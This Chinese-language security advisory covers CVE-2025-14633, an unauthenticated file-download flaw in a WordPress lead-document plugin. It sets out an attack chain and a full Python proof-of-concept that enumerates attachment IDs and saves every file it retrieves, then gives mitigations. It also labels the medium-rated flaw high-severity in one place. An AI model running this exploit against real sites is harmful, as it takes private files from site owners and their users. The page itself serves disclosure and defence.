IPBUF安全漏洞报告
English
CVE-2025-14633 CVSS 5.3 中危

CVE-2025-14633 WordPress F70 Lead Document Download插件未授权文件访问漏洞

披露日期: 2025-12-20

漏洞信息

漏洞编号
CVE-2025-14633
漏洞类型
IDOR(不安全的直接对象引用)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
F70 Lead Document Download plugin for WordPress

相关标签

CVE-2025-14633IDOR未授权访问WordPress插件漏洞文件下载漏洞F70 Lead Document DownloadBroken Access ControlOWASP Top 10信息泄露

漏洞概述

CVE-2025-14633是WordPress平台下F70 Lead Document Download插件的一个高危安全漏洞。该漏洞存在于插件的file_download函数中,由于缺少适当的权限检查(capability check),导致未经身份验证的远程攻击者可以访问WordPress媒体库中的任意文件。攻击者只需猜测或枚举WordPress附件ID,即可利用此漏洞下载敏感文件,包括但不限于配置文件、数据库凭证、其他用户的隐私文档等。此漏洞影响插件1.4.4及之前的所有版本,CVSS评分5.3,属于中等严重程度。由于攻击复杂度低且无需认证,该漏洞在实际环境中极易被利用,对使用该插件的WordPress站点构成严重安全威胁。建议受影响的用户立即升级到最新版本或采取临时缓解措施。

技术细节

该漏洞的根本原因在于F70 Lead Document Download插件的file_download函数缺少WordPress capability检查。正常情况下,WordPress插件在执行敏感操作时应使用current_user_can()等函数验证用户权限,但该插件的file_download函数直接处理文件下载请求,未进行任何权限验证。攻击者可以通过构造特定的HTTP请求,指定目标附件ID来触发file_download函数。由于WordPress的附件ID通常是顺序递增的整数,攻击者可以通过暴力枚举或猜测ID值来访问媒体库中的任意文件。漏洞代码位于插件的includes/class.download.php文件的第61行附近。该漏洞属于OWASP Top 10中的A01:2021-Broken Access Control类别,攻击者无需任何认证凭证即可利用此漏洞获取敏感文件内容。

攻击链分析

STEP 1
步骤1
攻击者识别目标WordPress网站是否安装并启用了F70 Lead Document Download插件(版本≤1.4.4)
STEP 2
步骤2
攻击者构造恶意HTTP请求到wp-admin/admin-ajax.php端点,包含action=f70_lead_document_download参数和目标attachment_id
STEP 3
步骤3
由于插件的file_download函数缺少权限验证,请求被直接处理,服务器返回对应附件ID的文件内容
STEP 4
步骤4
攻击者通过暴力枚举或猜测附件ID(WordPress附件ID通常为顺序递增整数)来遍历媒体库文件
STEP 5
步骤5
攻击者成功下载敏感文件,可能包括配置文件、wp-config.php备份、其他用户上传的隐私文档等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-14633 PoC - Unauthenticated File Download # Target: WordPress site with F70 Lead Document Download plugin <= 1.4.4 def exploit_cve_2025_14633(target_url, attachment_id): """ Exploit for IDOR vulnerability in F70 Lead Document Download plugin Allows unauthenticated download of arbitrary WordPress media files Args: target_url: Base URL of the WordPress site attachment_id: WordPress attachment ID to download Returns: Response content if successful, None otherwise """ # Construct the vulnerable endpoint exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the malicious request with action parameter data = { 'action': 'f70_lead_document_download', 'attachment_id': attachment_id } # Send the request without authentication try: response = requests.post(exploit_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Successfully downloaded attachment ID: {attachment_id}") print(f"[+] Content length: {len(response.content)} bytes") return response.content else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None def enumerate_attachments(target_url, start_id=1, end_id=1000): """ Enumerate WordPress attachment IDs to find accessible files """ print(f"[*] Starting enumeration from ID {start_id} to {end_id}") for attachment_id in range(start_id, end_id + 1): content = exploit_cve_2025_14633(target_url, attachment_id) if content and len(content) > 0: print(f"[+] Found valid attachment at ID: {attachment_id}") # Save to file filename = f"attachment_{attachment_id}.bin" with open(filename, 'wb') as f: f.write(content) print(f"[+] Saved to: {filename}") # Example usage if __name__ == "__main__": target = "https://example.com" # Download specific attachment # exploit_cve_2025_14633(target, 123) # Or enumerate to find valid attachments # enumerate_attachments(target, 1, 100)

影响范围

F70 Lead Document Download plugin for WordPress <= 1.4.4

防御指南

临时缓解措施
如果无法立即升级插件,可以采取以下临时缓解措施:1)禁用或删除F70 Lead Document Download插件;2)使用Web应用防火墙(WAF)规则阻止对wp-admin/admin-ajax.php的异常请求;3)限制对/wp-content/uploads/目录的直接访问;4)启用WordPress的登录锁定和IP限制功能;5)监控服务器日志中的异常文件下载请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表